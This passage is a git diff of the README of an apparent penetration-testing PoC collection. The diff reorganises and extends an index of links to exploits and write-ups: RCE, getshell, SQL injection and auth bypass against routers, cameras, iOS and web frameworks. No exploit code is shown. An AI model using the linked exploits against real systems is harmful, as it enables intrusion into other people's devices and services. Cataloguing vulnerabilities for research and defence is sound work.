diff --git a/BlueKeep/requirements.txt b/BlueKeep/requirements.txt deleted file mode 100644 index 5be82196a..000000000 --- a/BlueKeep/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -pyopenssl==19.0 \ No newline at end of file diff --git a/README.md b/README.md index 3e30c4b09..e3b78f3a0 100644 --- a/README.md +++ b/README.md @@ -4,50 +4,51 @@ **请注意所有工具是否有后门或者其他异常行为,建议均在虚拟环境操作。** -- [ Penetration_Testing_POC](#head1) -- [ 请善用搜索[`Ctrl+F`]查找](#head2) +- [Penetration_Testing_POC](#head1) +- [请善用搜索[`Ctrl+F`]查找](#head2) - [IOT Device&Mobile Phone](#head3) - [Web APP](#head4) -- [ 提权辅助相关](#head5) -- [ PC](#head6) -- [ tools-小工具集合](#head7) -- [ 文章/书籍/教程相关](#head8) -- [ 说明](#head9) +- [提权辅助相关](#head5) +- [PC](#head6) +- [tools-小工具集合](#head7) +- [文章/书籍/教程相关](#head8) +- [说明](#head9) ## 请善用搜索[`Ctrl+F`]查找 ## IOT Device&Mobile Phone -- [天翼创维awifi路由器存在多处未授权访问漏洞](天翼创维awifi路由器存在多处未授权访问漏洞.md) -- [华为WS331a产品管理页面存在CSRF漏洞](华为WS331a产品管理页面存在CSRF漏洞.md) -- [CVE-2019-16313 蜂网互联企业级路由器v4.31密码泄露漏洞](./CVE-2019-16313%20蜂网互联企业级路由器v4.31密码泄露漏洞.md) -- [D-Link路由器RCE漏洞](./CVE-2019-16920-D-Link-rce.md) -- [CVE-2019-13051-Pi-Hole路由端去广告软件的命令注入&权限提升](./CVE-2019-13051) +- [天翼创维awifi路由器存在多处未授权访问漏洞](./iot/天翼创维awifi路由器存在多处未授权访问漏洞.md) +- [华为WS331a产品管理页面存在CSRF漏洞](./iot/华为WS331a产品管理页面存在CSRF漏洞.md) +- [CVE-2019-16313 蜂网互联企业级路由器v4.31密码泄露漏洞](./iot/CVE-2019-16313%20蜂网互联企业级路由器v4.31密码泄露漏洞.md) +- [D-Link路由器RCE漏洞](./iot/CVE-2019-16920-D-Link-rce.md) +- [CVE-2019-13051-Pi-Hole路由端去广告软件的命令注入&权限提升](./vuln_pocs/cve/CVE-2019-13051) - [D-Link DIR-859 - RCE UnAutenticated (CVE-2019–17621)](https://github.com/s1kr10s/D-Link-DIR-859-RCE) - [Huawei HG255 Directory Traversal[目录穿越]](https://packetstormsecurity.com/files/155954/huaweihg255-traversal.rb.txt)|[本地备份文件](./tools/huaweihg255-traversal.rb) -- [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215(Metasploit)](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdpcgi%20(Metasploit)%20CVE-2019-20215.rb) +- [D-Link Devices - Unauthenticated Remote Command Execution in ssdpcgi (Metasploit)CVE-2019-20215(Metasploit)](./POC_Details/D-Link%20Devices%20-%20Unauthenticated%20Remote%20Command%20Execution%20in%20ssdgi%20(Metasploit)%20CVE-2019-20215.rb) - [从 Interfaces.d 到 RCE:Mozilla WebThings IoT 网关漏洞挖掘](https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/) - [小米系列路由器远程命令执行漏洞(CVE-2019-18370,CVE-2019-18371)](https://github.com/UltramanGaia/Xiaomi_Mi_WiFi_R3G_Vulnerability_POC/blob/master/report/report.md) - [Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload-未经验证即可替换固件)](https://www.exploit-db.com/exploits/48158) - [cve-2020-8634&cve-2020-8635](https://www.exploit-db.com/exploits/48160)|[Wing FTP Server 6.2.3权限提升漏洞发现分析复现过程](https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php)|[Wing FTP Server 6.2.5权限提升](https://www.exploit-db.com/exploits/48154) -- [CVE-2020-9374-TP LINK TL-WR849N - RCE](./CVE-2020-9374.md) +- [CVE-2020-9374-TP LINK TL-WR849N - RCE](./iot/CVE-2020-9374.md) - [CVE-2020-12753-LG 智能手机任意代码执行漏洞](https://github.com/shinyquagsire23/CVE-2020-12753-PoC) - [CVE-2020-12695-UPnP 安全漏洞](https://github.com/yunuscadirci/CallStranger) - [79款 Netgear 路由器遭远程接管0day](https://github.com/grimm-co/NotQuite0DayFriday/blob/master/2020.06.15-netgear/exploit.py) - [dlink-dir610-exploits-Exploits for CVE-2020-9376 and CVE-2020-9377](https://github.com/renatoalencar/dlink-dir610-exploits) - [wacker:一组脚本,可辅助对WPA3接入点执行在线词典攻击](https://github.com/blunderbuss-wctf/wacker) - [CVE-2020-24581 D-Link DSL-2888A 远程命令执行漏洞分析](./books/CVE-2020-24581%20D-Link%20DSL-2888A%20远程命令执行漏洞分析.pdf)-[原地址](https://www.anquanke.com/post/id/229323) -- [CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞](./CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞.md) +- [CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞](./iot/CNVD-2021-14536_锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露漏洞.md) - [CNVD-2021-14544:Hikvision 海康威视流媒体管理服务器任意文件读取](https://github.com/Henry4E36/Hikvision) - [CNVD-2020-25078:D-link 敏感信息泄漏,可以直接获取账户密码查看监控](https://github.com/Henry4E36/D-link-information) - [ios-gamed-0day](https://github.com/illusionofchaos/ios-gamed-0day) - [ios-nehelper-wifi-info-0day](https://github.com/illusionofchaos/ios-nehelper-wifi-info-0day) - [ios-nehelper-enum-apps-0day](https://github.com/illusionofchaos/ios-nehelper-enum-apps-0day) - [iOS 15.0.1 RCE PoC](https://github.com/jonathandata1/ios_15_rce) +- [DarkSword-RCE:Apple iOS 远程代码执行漏洞利用](https://github.com/htimesnine/DarkSword-RCE)|[darksword-kexploit:Apple iOS 内核漏洞利用](https://github.com/opa334/darksword-kexploit)|[DarkSword:Apple iOS 漏洞利用](https://github.com/ghh-jb/DarkSword) - [CVE-2021-36260:海康威视产品命令注入漏洞](https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html) - [CVE-2021-33044、CVE-2021-33045 大华摄像头POC](https://github.com/mcw0/DahuaConsole)|[相关分析](https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt)|[登录绕过chrome 插件](https://github.com/bp2008/DahuaLoginBypass) - [CVE-2021-36260:海康威视命令注入漏洞](https://github.com/rabbitsafe/CVE-2021-36260)|[又一个CVE-2021-36260利用脚本](https://github.com/Cuerz/CVE-2021-36260) -- [CVE-2021-41653:TP-Link TL-WR840N V5(EU) - RCE ](./books/TP-Link%20TL-WR840N%20V5(EU)%20-%20RCE%20-%20CVE-2021-41653.pdf) +- [CVE-2021-41653:TP-Link TL-WR840N V5(EU) - RCE](./books/TP-Link%20TL-WR840N%20V5(EU)%20-%20RCE%20-%20CVE-2021-41653.pdf) - [DirtyPipe-Android:Dirty Pipe root exploit for Android](https://github.com/polygraphene/DirtyPipe-Android) - [CVE-2022-30075:Tp-Link Archer AX50 Authenticated RCE](https://github.com/aaronsvk/CVE-2022-30075) - [NotQuite0day:D-Link 1960相关漏洞](https://github.com/star-sg/NotQuite0day) @@ -59,7 +60,7 @@ - [IOT_vuln:IOT相关漏洞仓库](https://github.com/EPhaha/IOT_vuln) - [hikvision_CVE-2017-7921_auth_bypass_config_decryptor:解密受CVE-2017-7921影响的海康威视的配置文件](https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor) - [CVE-2022-20866:思科自适应安全设备软件和 Firepower 威胁防御软件 RSA 私钥泄漏检查](https://github.com/CiscoPSIRT/CVE-2022-20866) -- [WLAN-AP-WEA453e RCE:三星路由器远程命令执行漏洞](./WLAN-AP-WEA453e%20RCE三星路由器远程命令执行漏洞.md) +- [WLAN-AP-WEA453e RCE:三星路由器远程命令执行漏洞](./iot/WLAN-AP-WEA453e%20RCE三星路由器远程命令执行漏洞.md) - [Buffer overflow in Xiongmai DVRs](https://blog.ret2.me/post/2022-01-26-exploiting-xiongmai-dvrs/)|[备份](https://web.archive.org/web/20221129205148/https://blog.ret2.me/post/2022-01-26-exploiting-xiongmai-dvrs/) - [CVE-2023-27350: PaperCut NG身份验证绕过导致的RCE](https://github.com/horizon3ai/CVE-2023-27350) - [ivms-8700-0day-poc: 海康威视iVMS-8700综合安防管理平台任意文件上传漏洞](https://github.com/spmonkey/ivms-8700-0day-poc) @@ -80,90 +81,99 @@ - [从jhttpd分析到系统命令注入(CVE-2021-46227-D-Link Di-7200G 命令注入漏洞)](./books/从jhttpd分析到系统命令注入(CVE-2021-46227-D-Link%20Di-7200G%20命令注入漏洞).html) - [2024 RWCTF群晖 BC500摄像头RCE--未授权_栈溢出](./books/2024%20RWCTF群晖%20BC500摄像头RCE--未授权_栈溢出.html) - [路由器dd手动提取固件---迅捷PoEAC路由一体机FR100P-AC固件提取](./books/路由器dd手动提取固件---迅捷PoEAC路由一体机FR100P-AC固件提取.html) +- [NX_Firmware:任天堂Switch各版本固件数据库](https://github.com/THZoria/NX_Firmware) +- [vphone-aio:一键运行已越狱并安装完整bootstrap的iOS虚拟手机(vphone)脚本](https://github.com/34306/vphone-aio) +- [AssppJailbroken:一款用于解密从 App Store 下载的最新 IPA 文件的工具,并支持在已越狱的 iOS 设备及 iPhone 模拟器上运行](https://github.com/lbr77/AssppJailbroken) +- [FirmWire:支持三星 Shannon 和 MediaTek 基带固件的全系统动态分析平台,可用于模糊测试、漏洞根因分析与调试](https://github.com/FirmWire/FirmWire) +- [Podroid:无需 root 即可在 Android 手机上运行 Linux 容器,基于 QEMU 启动 Alpine Linux 虚拟机并提供完整的 Podman 容器运行时](https://github.com/ExTV/Podroid) +- [PrismSpace:基于 Android 工作资料(managed profile)的应用双开管理器](https://github.com/yzddmr6/PrismSpace) +- [Tsec-Salon:腾讯安全沙龙历届活动材料](https://github.com/Yeti-791/Tsec-Salon)|[BLACKHAT_Asia2026: Black Hat Asia 2026 议题资料汇总](https://github.com/Mr-xn/BLACKHAT_Asia2026)|[Java Ghost Bits - Black Hat Asia 2026 演讲PDF(幽灵比特位:高位截断)](https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf)|[GBitsTools: Ghost Bits攻击工具(Python GUI/CLI)](https://github.com/shiyeshu/GBitsTools)|[GbitsGen: Ghost Bits字符生成工具](https://github.com/qi4L/GbitsGen)|[ghost-bits-lab: Ghost Bits交互式安全实验靶机(Java)](https://github.com/Xc1Ym/ghost-bits-lab) +- [CVE-2026-34908-check:UniFi OS Server 身份验证绕过与未授权远程代码执行(RCE)检测工具](https://github.com/BishopFox/CVE-2026-34908-check) | [相关技术分析:Popping Root on UniFi OS Server](https://bishopfox.com/blog/popping-root-on-unifi-os-server-unauthenticated-rce-chain-detection-analysis) ## Web APP -- [致远OA_A8_getshell_0day](致远OA_A8_getshell_0day.md) -- [Couch through 2.0存在路径泄露漏洞 ](Couch%20through%202.0存在路径泄露漏洞.md) -- [Cobub Razor 0.7.2存在跨站请求伪造漏洞](Cobub%20Razor%200.7.2存在跨站请求伪造漏洞.md) -- [joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户](joyplus-cms%201.6.0存在CSRF漏洞可增加管理员账户.md) -- [MiniCMS 1.10存在CSRF漏洞可增加管理员账户](MiniCMS%201.10存在CSRF漏洞可增加管理员账户.md) -- [Z-Blog 1.5.1.1740存在XSS漏洞](Z-Blog%201.5.1.1740存在XSS漏洞.md) -- [YzmCMS 3.6存在XSS漏洞](YzmCMS%203.6存在XSS漏洞.md) -- [Cobub Razor 0.7.2越权增加管理员账户](Cobub%20Razor%200.7.2越权增加管理员账户.md) -- [Cobub Razor 0.8.0存在SQL注入漏洞](Cobub%20Razor%200.8.0存在SQL注入漏洞.md) -- [Cobub Razor 0.8.0存在物理路径泄露漏洞](Cobub%20Razor%200.8.0存在物理路径泄露漏洞.md) -- [五指CMS 4.1.0存在CSRF漏洞可增加管理员账户](五指CMS%204.1.0存在CSRF漏洞可增加管理员账户.md) -- [DomainMod的XSS集合](DomainMod的XSS集合.md) -- [GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户](GreenCMS%20v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户.md) -- [yii2-statemachine v2.x.x存在XSS漏洞](yii2-statemachine%20v2.x.x存在XSS漏洞.md) -- [maccms_v10存在CSRF漏洞可增加任意账号](maccms_v10存在CSRF漏洞可增加任意账号.md) -- [LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户](LFCMS%203.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户.md) -- [Finecms_v5.4存在CSRF漏洞可修改管理员账户密码](Finecms_v5.4存在CSRF漏洞可修改管理员账户密码.md) +- [致远OA_A8_getshell_0day](./web/致远OA_A8_getshell_0day.md) +- [Couch through 2.0存在路径泄露漏洞](./web/Couch%20through%202.0存在路径泄露漏洞.md) +- [Cobub Razor 0.7.2存在跨站请求伪造漏洞](./web/Cobub%20Razor%200.7.2存在跨站请求伪造漏洞.md) +- [joyplus-cms 1.6.0存在CSRF漏洞可增加管理员账户](./web/joyplus-cms%201.6.0存在CSRF漏洞可增加管理员账户.md) +- [MiniCMS 1.10存在CSRF漏洞可增加管理员账户](./web/MiniCMS%201.10存在CSRF漏洞可增加管理员账户.md) +- [Z-Blog 1.5.1.1740存在XSS漏洞](./web/Z-Blog%201.5.1.1740存在XSS漏洞.md) +- [YzmCMS 3.6存在XSS漏洞](./web/YzmCMS%203.6存在XSS漏洞.md) +- [Cobub Razor 0.7.2越权增加管理员账户](./web/Cobub%20Razor%200.7.2越权增加管理员账户.md) +- [Cobub Razor 0.8.0存在SQL注入漏洞](./web/Cobub%20Razor%200.8.0存在SQL注入漏洞.md) +- [Cobub Razor 0.8.0存在物理路径泄露漏洞](./web/Cobub%20Razor%200.8.0存在物理路径泄露漏洞.md) +- [五指CMS 4.1.0存在CSRF漏洞可增加管理员账户](./web/五指CMS%204.1.0存在CSRF漏洞可增加管理员账户.md) +- [DomainMod的XSS集合](./web/DomainMod的XSS集合.md) +- [GreenCMS v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户](./web/GreenCMS%20v2.3.0603存在CSRF漏洞可获取webshell&增加管理员账户.md) +- [yii2-statemachine v2.x.x存在XSS漏洞](./web/yii2-statemachine%20v2.x.x存在XSS漏洞.md) +- [maccms_v10存在CSRF漏洞可增加任意账号](./web/maccms_v10存在CSRF漏洞可增加任意账号.md) +- [LFCMS 3.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户](./web/LFCMS%203.7.0存在CSRF漏洞可添加任意用户账户或任意管理员账户.md) +- [Finecms_v5.4存在CSRF漏洞可修改管理员账户密码](./web/Finecms_v5.4存在CSRF漏洞可修改管理员账户密码.md) - [Amazon Kindle Fire HD (3rd Generation)内核驱动拒绝服务漏洞](Amazon%20Kindle%20Fire%20HD%20\(3rd%20Generation\)内核驱动拒绝服务漏洞.md) -- [Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞](Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞.md) -- [Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号](Hucart%20cms%20v5.7.4%20CSRF漏洞可任意增加管理员账号.md) -- [indexhibit cms v2.1.5 直接编辑php文件getshell](indexhibit%20cms%20v2.1.5%20直接编辑php文件getshell.md) -- [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md) -- [S-CMS PHP v3.0存在SQL注入漏洞](S-CMS%20PHP%20v3.0存在SQL注入漏洞.md) -- [MetInfoCMS 5.X版本GETSHELL漏洞合集](MetInfoCMS%205.X版本GETSHELL漏洞合集.md) +- [Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞](./web/Metinfo-6.1.2版本存在XSS漏洞&SQL注入漏洞.md) +- [Hucart cms v5.7.4 CSRF漏洞可任意增加管理员账号](./web/Hucart%20cms%20v5.7.4%20CSRF漏洞可任意增加管理员账号.md) +- [indexhibit cms v2.1.5 直接编辑php文件getshell](./web/indexhibit%20cms%20v2.1.5%20直接编辑php文件getshell.md) +- [S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号](./web/S-CMS企业建站系统PHP版v3.0后台存在CSRF可添加管理员权限账号.md) +- [S-CMS PHP v3.0存在SQL注入漏洞](./web/S-CMS%20PHP%20v3.0存在SQL注入漏洞.md) +- [MetInfoCMS 5.X版本GETSHELL漏洞合集](./web/MetInfoCMS%205.X版本GETSHELL漏洞合集.md) - [MetInfo7.5.0代码审计(后台SQL注入+md5弱类型比较).pdf](./books/MetInfo7.5.0代码审计(后台SQL注入+md5弱类型比较).pdf) -- [discuz ml RCE 漏洞检测工具](discuz-ml-rce/README.md) -- [thinkphp5框架缺陷导致远程代码执行](thinkphp5框架缺陷导致远程代码执行.md) -- [FineCMS_v5.0.8两处getshell](FineCMS_v5.0.8两处getshell.md) -- [Struts2_045漏洞批量检测|搜索引擎采集扫描](Struts2_045-Poc) -- [thinkphp5命令执行](thinkphp5命令执行.md) -- [typecho反序列化漏洞](typecho反序列化漏洞.md) -- [CVE-2019-10173 Xstream 1.4.10版本远程代码执行](CVE-2019-10173%20Xstream%201.4.10版本远程代码执行漏洞.md) +- [discuz ml RCE 漏洞检测工具](vuln_pocs/exploit-tools/discuz-ml-rce/README.md) +- [thinkphp5框架缺陷导致远程代码执行](./web/thinkphp5框架缺陷导致远程代码执行.md) +- [FineCMS_v5.0.8两处getshell](./web/FineCMS_v5.0.8两处getshell.md) +- [Struts2_045漏洞批量检测|搜索引擎采集扫描](vuln_pocs/exploit-tools/Struts2_045-Poc) +- [thinkphp5命令执行](./web/thinkphp5命令执行.md) +- [typecho反序列化漏洞](./web/typecho反序列化漏洞.md) +- [CVE-2019-10173 Xstream 1.4.10版本远程代码执行](./web/CVE-2019-10173%20Xstream%201.4.10版本远程代码执行漏洞.md) - [IIS/CVE-2017-7269-Echo-PoC](./IIS/CVE-2017-7269-Echo-PoC) -- [CVE-2019-15107 Webmin RCE](./CVE-2019-15107) -- [thinkphp5 rce漏洞检测工具](./tp5-getshell) -- [thinkphp5_RCE合集](./tp5-getshell/TP5_RCE合集.md) -- [thinkphp3.X-thinkphp5.x](./tp5-getshell/ThinkPHP.md) +- [CVE-2019-15107 Webmin RCE](./vuln_pocs/cve/CVE-2019-15107) +- [thinkphp5 rce漏洞检测工具](./vuln_pocs/exploit-tools/tp5-getshell) +- [thinkphp5_RCE合集](./vuln_pocs/exploit-tools/tp5-getshell/TP5_RCE合集.md) +- [thinkphp3.X-thinkphp5.x](./vuln_pocs/exploit-tools/tp5-getshell/ThinkPHP.md) - [关于ThinkPHP框架的历史漏洞分析集合](https://github.com/Mochazz/ThinkPHP-Vuln) -- [CVE-2019-11510](./CVE-2019-11510) -- [Redis(<=5.0.5) RCE](./redis-rogue-server) +- [CVE-2019-11510](./vuln_pocs/cve/CVE-2019-11510) +- [Redis(<=5.0.5) RCE](./vuln_pocs/exploit-tools/redis-rogue-server) - [Redis 4.x/5.x RCE(主从复制导致RCE)](https://github.com/Ridter/redis-rce) - [生成Redis恶意模块so文件配合主从复制RCE达到命令执行](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)|[相关文章](https://www.freebuf.com/vuls/224235.html) - [RedisWriteFile-通过 `Redis` 主从写出无损文件,可用于 `Windows` 平台下写出无损的 `EXE`、`DLL`、 `LNK` 和 `Linux` 下的 `OS` 等二进制文件](https://github.com/r35tart/RedisWriteFile) -- [WeblogicScanLot系列,Weblogic漏洞批量检测工具](./WeblogicScanLot) -- [jboss_CVE-2017-12149](./jboss_CVE-2017-12149) -- [Wordpress的拒绝服务(DoS)-CVE-2018-6389](./CVE-2018-6389) +- [WeblogicScanLot系列,Weblogic漏洞批量检测工具](./vuln_pocs/exploit-tools/WeblogicScanLot) +- [TongWeb EJB 利用与插件工具](https://github.com/Axyanzzzz/TongWebEJBExploit) | [TongwebPlugin](https://github.com/Gary-yang1/TongwebPlugin) +- [jboss_CVE-2017-12149](./vuln_pocs/exploit-tools/jboss_CVE-2017-12149) +- [Wordpress的拒绝服务(DoS)-CVE-2018-6389](./vuln_pocs/cve/CVE-2018-6389) - [Webmin Remote Code Execution (authenticated)-CVE-2019-15642](https://github.com/jas502n/CVE-2019-15642) -- [CVE-2019-16131 OKLite v1.2.25 任意文件上传漏洞](./CVE-2019-16131%20OKLite%20v1.2.25%20任意文件上传漏洞.md) -- [CVE-2019-16132 OKLite v1.2.25 存在任意文件删除漏洞](./CVE-2019-16132%20OKLite%20v1.2.25%20存在任意文件删除漏洞.md) -- [CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞](./CVE-2019-16309%20FlameCMS%203.3.5%20后台登录处存在sql注入漏洞.md) -- [CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell](./CVE-2019-16314%20indexhibit%20cms%20v2.1.5%20存在重装并导致getshell.md) -- [泛微OA管理系统RCE漏洞利用脚本](./泛微OA管理系统RCE漏洞利用脚本.md) -- [CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit](./CVE-2019-16759%20vBulletin%205.x%200day%20pre-auth%20RCE%20exploit.md) -- [zentao-getshell 禅道8.2 - 9.2.1前台Getshell](./zentao-getshell) -- [泛微 e-cology OA 前台SQL注入漏洞](./泛微%20e-cology%20OA%20前台SQL注入漏洞.md) -- [Joomla-3.4.6-RCE](./Joomla-3.4.6-RCE.md) -- [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md) -- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./构建ASMX绕过限制WAF达到命令执行.md) -- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) -- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) -- [CVE-2019-11043-PHP远程代码执行漏](./CVE-2019-11043) -- [ThinkCMF漏洞全集和](./ThinkCMF漏洞全集和.md) -- [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md) +- [CVE-2019-16131 OKLite v1.2.25 任意文件上传漏洞](./web/CVE-2019-16131%20OKLite%20v1.2.25%20任意文件上传漏洞.md) +- [CVE-2019-16132 OKLite v1.2.25 存在任意文件删除漏洞](./web/CVE-2019-16132%20OKLite%20v1.2.25%20存在任意文件删除漏洞.md) +- [CVE-2019-16309 FlameCMS 3.3.5 后台登录处存在sql注入漏洞](./web/CVE-2019-16309%20FlameCMS%203.3.5%20后台登录处存在sql注入漏洞.md) +- [CVE-2019-16314 indexhibit cms v2.1.5 存在重装并导致getshell](./web/CVE-2019-16314%20indexhibit%20cms%20v2.1.5%20存在重装并导致getshell.md) +- [泛微OA管理系统RCE漏洞利用脚本](./web/泛微OA管理系统RCE漏洞利用脚本.md) +- [CVE-2019-16759 vBulletin 5.x 0day pre-auth RCE exploit](./web/CVE-2019-16759%20vBulletin%205.x%200day%20pre-auth%20RCE%20exploit.md) +- [zentao-getshell 禅道8.2 - 9.2.1前台Getshell](./vuln_pocs/exploit-tools/zentao-getshell) +- [泛微 e-cology OA 前台SQL注入漏洞](./web/泛微%20e-cology%20OA%20前台SQL注入漏洞.md) +- [Joomla-3.4.6-RCE](./web/Joomla-3.4.6-RCE.md) +- [Easy File Sharing Web Server 7.2 - GET 缓冲区溢出 (SEH)](./web/Easy%20File%20Sharing%20Web%20Server%207.2%20-%20GET%20缓冲区溢出%20(SEH).md) +- [构建ASMX绕过限制WAF达到命令执行(适用于ASP.NET环境)](./web/构建ASMX绕过限制WAF达到命令执行.md) +- [CVE-2019-17662-ThinVNC 1.0b1 - Authentication Bypass](./web/CVE-2019-17662-ThinVNC%201.0b1%20-%20Authentication%20Bypass.md) +- [CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd](./web/CVE-2019-16278andCVE-2019-16279-about-nostromo-nhttpd.md) +- [CVE-2019-11043-PHP远程代码执行漏](./vuln_pocs/cve/CVE-2019-11043) +- [ThinkCMF漏洞全集和](./web/ThinkCMF漏洞全集和.md) +- [CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行](./web/CVE-2019-7609-kibana低于6.6.0未授权远程代码命令执行.md) - [ecologyExp.jar-泛微ecology OA系统数据库配置文件读取](./tools/ecologyExp.jar) -- [freeFTP1.0.8-'PASS'远程缓冲区溢出](./freeFTP1.0.8-'PASS'远程缓冲区溢出.md) -- [rConfig v3.9.2 RCE漏洞](./rConfig%20v3.9.2%20RCE漏洞.md) -- [apache_solr_rce](./solr_rce.md) -- [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md) +- [freeFTP1.0.8-'PASS'远程缓冲区溢出](./web/freeFTP1.0.8-'PASS'远程缓冲区溢出.md) +- [rConfig v3.9.2 RCE漏洞](./web/rConfig%20v3.9.2%20RCE漏洞.md) +- [apache_solr_rce](./web/solr_rce.md) +- [CVE-2019-7580 thinkcmf-5.0.190111后台任意文件写入导致的代码执行](./web/CVE-2019-7580%20thinkcmf-5.0.190111后台任意文件写入导致的代码执行.md) - [Apache Flink任意Jar包上传导致远程代码执行](https://github.com/LandGrey/flink-unauth-rce) - [Jwt_Tool - 用于验证、伪造、扫描和篡改 JWT(JSON Web 令牌)](https://github.com/ticarpi/jwt_tool) -- [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md) +- [cve-2019-17424 nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC](./web/cve-2019-17424%20nipper-ng_0.11.10-Remote_Buffer_Overflow远程缓冲区溢出附PoC.md) - [CVE-2019-12409_Apache_Solr RCE](https://github.com/jas502n/CVE-2019-12409) - [Shiro RCE (Padding Oracle Attack)](https://github.com/wuppp/shiro_rce_exp) - [CVE-2019-19634-class.upload.php <= 2.0.4任意文件上传](https://github.com/jra89/CVE-2019-19634) -- [Apache Solr RCE via Velocity Template Injection](./Apache%20Solr%20RCE%20via%20Velocity%20Template%20Injection.md) -- [CVE-2019-10758-mongo-express before 0.54.0 is vulnerable to Remote Code Execution ](https://github.com/masahiro331/CVE-2019-10758/) +- [Apache Solr RCE via Velocity Template Injection](./web/Apache%20Solr%20RCE%20via%20Velocity%20Template%20Injection.md) +- [CVE-2019-10758-mongo-express before 0.54.0 is vulnerable to Remote Code Execution](https://github.com/masahiro331/CVE-2019-10758/) - [CVE-2019-2107-Android播放视频-RCE-POC(Android 7.0版本,7.1.1版本,7.1.2版本,8.0版本,8.1版本,9.0版本)](https://github.com/marcinguy/CVE-2019-2107) - [CVE-2019-19844-Django重置密码漏洞(受影响版本:Django master branch,Django 3.0,Django 2.2,Django 1.11)](https://github.com/ryu22e/django_cve_2019_19844_poc/) - [CVE-2019-17556-unsafe-deserialization-in-apache-olingo(Apache Olingo反序列化漏洞,影响: 4.0.0版本至4.6.0版本)](https://medium.com/bugbountywriteup/cve-2019-17556-unsafe-deserialization-in-apache-olingo-8ebb41b66817) -- [ZZCMS201910 SQL Injections](./ZZCMS201910%20SQL%20Injections.md)|[ZZCMS201910代码审计](./books/ZZCMS201910代码审计.pdf) -- [WDJACMS1.5.2模板注入漏洞](./WDJACMS1.5.2模板注入漏洞.md) +- [ZZCMS201910 SQL Injections](./web/ZZCMS201910%20SQL%20Injections.md)|[ZZCMS201910代码审计](./books/ZZCMS201910代码审计.pdf) +- [WDJACMS1.5.2模板注入漏洞](./web/WDJACMS1.5.2模板注入漏洞.md) - [CVE-2019-19781-Remote Code Execution Exploit for Citrix Application Delivery Controller and Citrix Gateway](https://github.com/projectzeroindia/CVE-2019-19781) - [CVE-2019-19781.nse---use Nmap check Citrix ADC Remote Code Execution](https://github.com/cyberstruggle/DeltaGroup/tree/master/CVE-2019-19781) - [Mysql Client 任意文件读取攻击链拓展](https://paper.seebug.org/1112/) @@ -178,35 +188,35 @@ - [ThinkPHP 6.x反序列化POP链(二)](./books/ThinkPHP%206.x反序列化POP链(二).pdf)|[原文链接](https://mp.weixin.qq.com/s/q8Xa3triuXEB3NoeOgka1g) - [ThinkPHP 6.x反序列化POP链(三)](./books/ThinkPHP%206.x反序列化POP链(三).pdf)|[原文链接](https://mp.weixin.qq.com/s/PFNt3yF0boE5lR2KofghBg) - [WordPress InfiniteWP - Client Authentication Bypass (Metasploit)](https://www.exploit-db.com/exploits/48047) -- [【Linux提权/RCE】OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution](https://www.exploit-db.com/exploits/48051) +- [【Linux/RCE】OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution](https://www.exploit-db.com/exploits/48051) - [CVE-2020-7471-django1.11-1.11.282.2-2.2.103.0-3.0.3 StringAgg(delimiter)使用了不安全的数据会造成SQL注入漏洞环境和POC](https://github.com/Saferman/CVE-2020-7471) - [CVE-2019-17564 : Apache Dubbo反序列化漏洞](https://www.anquanke.com/post/id/198747) - [CVE-2019-2725(CNVD-C-2019-48814、WebLogic wls9-async)](https://github.com/lufeirider/CVE-2019-2725) - 